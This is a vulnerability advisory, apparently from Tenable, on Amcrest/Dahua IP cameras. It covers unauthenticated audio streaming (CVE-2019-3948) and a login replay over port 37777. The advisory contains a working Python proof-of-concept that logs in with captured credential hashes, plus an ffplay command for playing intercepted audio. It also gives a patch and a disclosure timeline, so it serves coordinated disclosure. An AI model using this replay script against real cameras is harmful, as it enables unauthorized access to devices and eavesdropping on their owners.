Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Amcrest IP Camera Multiple Vulnerabilities

Medium

Synopsis

Tenable spent some time examining the Amcrest IP2M-841 IP camera. We found the following:

CVE-2019-3948: Unauthenticated Remote Audio Streaming Over HTTP

The camera exposes the HTTP endpoint videotalk. This endpoint allows a remote user to listen to the audio that the camera is currently capturing. This endpoint does not implement any type of authentication. Therefore, any remote unauthenticated attacker that can decode the DHAV format can make a single HTTP request and listen to the camera's audio.

See the linked proof of concept for a full implementation. If the camera is using default settings, the proof of concept's output should be playable via ffplay with the following command:

ffplay -f alaw -ar 8k -ac 1 [poc output]

Login Replay

Like most Dahua devices, the IP2M-841B has a service listening on TCP port 37777. Previously, another researcher had discovered a remote attacker can login to this interface using a captured hash (see: CVE-2017-7927). Dahua appeared to fix this at the time. However, Tenable discovered the Amcrest IP2M-841B was still vulnerable to this attack if the user's password was only 8 characters long. The following script will login using the "admin" and "01testit" hashes and make an authenticated request for the software version.

import argparse
import socket
import struct
import sys

top_parser = argparse.ArgumentParser(description='Login using admin:01testit and get the software version')
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="37777")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

login = ("\xa0\x00\x00\x60\x00\x00\x00\x00" + 
         "\xc4\xa3\xaf\x48\x99\x56\xb6\xb4" + # username hash
         "\x7e\x48\xc4\x86\x90\x98\x54\xf3" + # password hash
         "\x05\x02\x00\x01\x00\x00\xa1\xaa")
sock.sendall(login)
resp = sock.recv(1024)

if len(resp) != 32:
    print 'What is this?'
    sys.exit(0)

session_id_bin = resp[16:20]

session_id_int = struct.unpack_from('I', session_id_bin)
if session_id_int[0] == 0:
	print "Failed to log in. Response:"
	print resp
	sys.exit(0)

print str(session_id_int[0])

json = '{"id":1,"method":"magicBox.getSoftwareVersion","params":null,"session":' + str(session_id_int[0]) + '}\n\x00'
size = struct.pack("I", len(json))
json_request = "\xf6\x00\x00\x00" + size + '\x01\x00\x00\x00\x00\x00\x00\x00' + size + '\x00\x00\x00\x00' + session_id_bin + '\x00\x00\x00\x00' + json
sock.sendall(json_request)
print sock.recv(1024)

sock.close()

Solution

The Amcrest IP2M-841B should be upgraded to V2.420.AC00.18.R or later. Visit Dahua's security advisory for the appropriate upgrade information.

Disclosure Timeline

05/08/2019 - Asked for an appropriate security contact via [email protected]. 90 days is Aug. 6.
05/08/2019 - Automated response indicating support has reviewed the email. Assigned 285278.
05/08/2019 - Amcrest representatives and a cc'd Dahua representative reach out to Tenable.
05/08/2019 - Tenable discloses and reiterates the disclosure deadline.
05/14/2019 - Tenable pings Amcrest.
05/14/2019 - Amcrest acknowledges both vulnerabilities. Amcrest implies they were already aware of the issues. Also provide Tenable a test firmware that should be generally available within a couple of weeks.
05/15/2019 - Tenable thanks Amcrest. Tenable also informs Amcrest that independently discovered vulnerabilities still go through Tenable's disclosure policy. Tenable reiterates the disclosure deadline.
05/29/2019 - Tenable follows up about the patch.
05/29/2019 - Amcrest indicates a patch should be ready on June 4.
06/07/2019 - Amcrest sends Tenable another firmware patch.
06/11/2019 - Tenable thanks Amcrest and asks about the planned release date.
06/14/2019 - Amcrest indicates June 28. Asks Tenable if they've verified the fix.
06/18/2019 - Tenable affirms that, on static inspection, the patch looks good. Tenable assigns CVE-2019-3948 to the streaming issue.
06/26/2019 - Amcrest indicates July 18 is the new disclosure date.
06/26/2019 - Tenable acknowledges.
07/14/2019 - Tenable asks if July 18 is still the go day.
07/14/2019 - Amcrest pushes to July 28.
07/14/2019 - Tenable acknowledges and reminds Amcrest of the disclosure deadline.
07/27/2019 - Tenable asks if July 28 is still the go day.
07/27/2019 - Amcrest says July 29.
08/02/2019 - Dahua publishes an advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2019-3948
Tenable Advisory ID: TRA-2019-36
Credit:
Jacob Baines
CVSSv2 Base / Temporal Score:
5.0 / 4.4
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:P/I:N/A:N
Affected Products:
Amcrest IP2M-841 V2.520.AC00.18.R
Dahua IPC-XXBXX before V2.622.0000000.9.R
Dahua IPC-HX5X3X before V2.800.0000008.0.R
Dahua IPC-HX4X3X before V2.800.0000008.0.R
Dahua DH-IPC-HX883X before V2.622.0000000.7.R
Dahua DH-IPC-HX863X before V2.622.0000000.7.R
Dahua DH-SD4XXXXX before V2.623.0000000.7.R
Dahua DH-SD5XXXXX before V2.623.0000000.1.R
Dahua DH-SD6XXXXX before V2.640.0000000.2.R and V2.623.0000000.1.R
Dahua NVR5XXX-4KS2 before V3.216.0000006.0.R
Dahua NVR4XXX-4KS2 before V3.216.0000003.0.R
Dahua NVR2XXX-4KS2 before V3.216.0000000.0.R
Other Dahua Relabelers
Risk Factor:
Medium

Advisory Timeline

07/29/2019 - Initial release
08/13/2019 - Updated to include Dahua information